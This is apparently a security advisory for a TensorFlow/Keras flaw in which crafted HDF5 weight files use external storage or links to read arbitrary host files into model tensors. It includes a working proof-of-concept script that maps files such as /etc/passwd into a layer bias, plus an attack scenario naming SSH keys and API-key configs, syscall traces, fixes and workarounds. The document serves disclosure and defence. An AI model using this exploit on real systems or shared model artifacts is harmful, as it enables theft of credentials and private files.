PYSEC-2026-2546

Summary

TensorFlow / Keras continues to honor HDF5 “external storage” and ExternalLink features when loading weights. A malicious .weights.h5 (or a .keras archive embedding such weights) can direct load_weights() to read from an arbitrary readable filesystem path. The bytes pulled from that path populate model tensors and become observable through inference or subsequent re-save operations. Keras “safe mode” only guards object deserialization and does not cover weight I/O, so this behaviour persists even with safe mode enabled. The issue is confirmed on the latest publicly released stack (tensorflow 2.20.0, keras 3.11.3, h5py 3.15.1, numpy 2.3.4).

Impact

• Class: CWE-200 (Exposure of Sensitive Information), CWE-73 (External Control of File Name or Path)
• What leaks: Contents of any readable file on the host (e.g., /etc/hosts, /etc/passwd, /etc/hostname).
• Visibility: Secrets appear in model outputs (e.g., Dense layer bias) or get embedded into newly saved artifacts.
• Prerequisites: Victim executes model.load_weights() or tf.keras.models.load_model() on an attacker-supplied HDF5 weights file or .keras archive.
• Scope: Applies to modern Keras (3.x) and TensorFlow 2.x lines; legacy HDF5 paths remain susceptible.

Attacker Scenario

1. Initial foothold: The attacker convinces a user (or CI automation) to consume a weight artifact—perhaps by publishing a pre-trained model, contributing to an open-source repository, or attaching weights to a bug report.
2. Crafted payload: The artifact bundles innocuous model metadata but rewrites one or more datasets to use HDF5 external storage or external links pointing at sensitive files on the victim host (e.g., /home/<user>/.ssh/id_rsa, /etc/shadow if readable, configuration files containing API keys, etc.).
3. Execution: The victim calls model.load_weights() (or tf.keras.models.load_model() for .keras archives). HDF5 follows the external references, opens the targeted host file, and streams its bytes into the model tensors.
4. Exfiltration vectors:
   • Running inference on controlled inputs (e.g., zero vectors) yields outputs equal to the injected weights; the attacker or downstream consumer can read the leaked data.
   • Re-saving the model (weights or .keras archive) persists the secret into a new artifact, which may later be shared publicly or uploaded to a model registry.
   • If the victim pushes the re-saved artifact to source control or a package repository, the attacker retrieves the captured data without needing continued access to the victim environment.

Additional Preconditions

• The target file must exist and be readable by the process running TensorFlow/Keras.
• Safe mode (load_model(..., safe_mode=True)) does not mitigate the issue because the attack path is weight loading rather than object/lambda deserialization.
• Environments with strict filesystem permissioning or sandboxing (e.g., container runtime blocking access to /etc/hostname) can reduce impact, but common defaults expose a broad set of host files.

Environment Used for Verification (2025‑10‑19)

• OS: Debian-based container running Python 3.11.
• Packages (installed via python -m pip install -U ...):
  • tensorflow==2.20.0
  • keras==3.11.3
  • h5py==3.15.1
  • numpy==2.3.4
• Tooling: strace (for syscall tracing), pip upgraded to latest before installs.
• Debug flags: PYTHONFAULTHANDLER=1, TF_CPP_MIN_LOG_LEVEL=0 during instrumentation to capture verbose logs if needed.

Reproduction Instructions (Weights-Only PoC)

1. Ensure the environment above (or equivalent) is prepared.
2. Save the following script as weights_external_demo.py:

from __future__ import annotations
import os
from pathlib import Path
import numpy as np
import tensorflow as tf
import h5py

def choose_host_file() -> Path:
    candidates = [
        os.environ.get("KFLI_PATH"),
        "/etc/machine-id",
        "/etc/hostname",
        "/proc/sys/kernel/hostname",
        "/etc/passwd",
    ]
    for candidate in candidates:
        if not candidate:
            continue
        path = Path(candidate)
        if path.exists() and path.is_file():
            return path
    raise FileNotFoundError("set KFLI_PATH to a readable file")

def build_model(units: int) -> tf.keras.Model:
    model = tf.keras.Sequential([
        tf.keras.layers.Input(shape=(1,), name="input"),
        tf.keras.layers.Dense(units, activation=None, use_bias=True, name="dense"),
    ])
    model(tf.zeros((1, 1)))  # build weights
    return model

def find_bias_dataset(h5file: h5py.File) -> str:
    matches: list[str] = []
    def visit(name: str, obj) -> None:
        if isinstance(obj, h5py.Dataset) and name.endswith("bias:0"):
            matches.append(name)
    h5file.visititems(visit)
    if not matches:
        raise RuntimeError("bias dataset not found")
    return matches[0]

def rewrite_bias_external(path: Path, host_file: Path) -> tuple[int, int]:
    with h5py.File(path, "r+") as h5file:
        bias_path = find_bias_dataset(h5file)
        parent = h5file[str(Path(bias_path).parent)]
        dset_name = Path(bias_path).name
        del parent[dset_name]
        max_bytes = 128
        size = host_file.stat().st_size
        nbytes = min(size, max_bytes)
        nbytes = (nbytes // 4) * 4 or 32  # multiple of 4 for float32 packing
        units = max(1, nbytes // 4)
        parent.create_dataset(
            dset_name,
            shape=(units,),
            dtype="float32",
            external=[(host_file.as_posix(), 0, nbytes)],
        )
        return units, nbytes

def floats_to_ascii(arr: np.ndarray) -> tuple[str, str]:
    raw = np.ascontiguousarray(arr).view(np.uint8)
    ascii_preview = bytes(b if 32 <= b < 127 else 46 for b in raw).decode("ascii", "ignore")
    hex_preview = raw[:64].tobytes().hex()
    return ascii_preview, hex_preview

def main() -> None:
    host_file = choose_host_file()
    model = build_model(units=32)

    weights_path = Path("weights_demo.h5")
    model.save_weights(weights_path.as_posix())

    units, nbytes = rewrite_bias_external(weights_path, host_file)
    print("secret_text_source", host_file)
    print("units", units, "bytes_mapped", nbytes)

    model.load_weights(weights_path.as_posix())
    output = model.predict(tf.zeros((1, 1)), verbose=0)[0]
    ascii_preview, hex_preview = floats_to_ascii(output)
    print("recovered_ascii", ascii_preview)
    print("recovered_hex64", hex_preview)

    saved = Path("weights_demo_resaved.h5")
    model.save_weights(saved.as_posix())
    print("resaved_weights", saved.as_posix())

if __name__ == "__main__":
    main()

3. Execute python weights_external_demo.py.
4. Observe:
   • secret_text_source prints the chosen host file path.
   • recovered_ascii/recovered_hex64 display the file contents recovered via model inference.
   • A re-saved weights file contains the leaked bytes inside the artifact.

Expanded Validation (Multiple Attack Scenarios)

The following test harness generalises the attack for multiple HDF5 constructs:

• Build a minimal feed-forward model and baseline weights.
• Create three malicious variants:
  1. External storage dataset: dataset references /etc/hosts.
  2. External link: ExternalLink pointing at /etc/passwd.
  3. Indirect link: external storage referencing a helper HDF5 that, in turn, refers to /etc/hostname.
• Run each scenario under strace -f -e trace=open,openat,read while calling model.load_weights(...).
• Post-process traces and weight tensors to show the exact bytes loaded.

Relevant syscall excerpts captured during the run:

openat(AT_FDCWD, "/etc/hosts", O_RDONLY|O_CLOEXEC) = 7
read(7, "127.0.0.1 localhost\n", 64) = 21
...
openat(AT_FDCWD, "/etc/passwd", O_RDONLY|O_CLOEXEC) = 9
read(9, "root:x:0:0:root:/root:/bin/bash\n", 64) = 32
...
openat(AT_FDCWD, "/etc/hostname", O_RDONLY|O_CLOEXEC) = 8
read(8, "example-host\n", 64) = 13

The corresponding model weight bytes (converted to ASCII) mirrored these file contents, confirming successful exfiltration in every case.

Recommended Product Fix

1. Default-deny external datasets/links:
   • Inspect creation property lists (get_external_count) before materialising tensors.
   • Resolve SoftLink / ExternalLink targets and block if they leave the HDF5 file.
2. Provide an escape hatch:
   • Offer an explicit allow_external_data=True flag or environment variable for advanced users who truly rely on HDF5 external storage.
3. Documentation:
   • Update security guidance and API docs to clarify that weight loading bypasses safe mode and that external HDF5 references are rejected by default.
4. Regression coverage:
   • Add automated tests mirroring the scenarios above to ensure future refactors do not reintroduce the issue.

Workarounds

• Avoid loading untrusted HDF5 weight files.
• Pre-scan weight files using h5py to detect external datasets or links before invoking Keras loaders.
• Prefer alternate formats (e.g., NumPy .npz) that lack external reference capabilities when exchanging weights.
• If isolation is unavoidable, run the load inside a sandboxed environment with limited filesystem access.

Timeline (UTC)

• 2025‑10‑18: Initial proof against TensorFlow 2.12.0 confirmed local file disclosure.
• 2025‑10‑19: Re-validated on TensorFlow 2.20.0 / Keras 3.11.3 with syscall tracing; produced weight artifacts and JSON summaries for each malicious scenario; implemented safe_keras_hdf5.py prototype guard.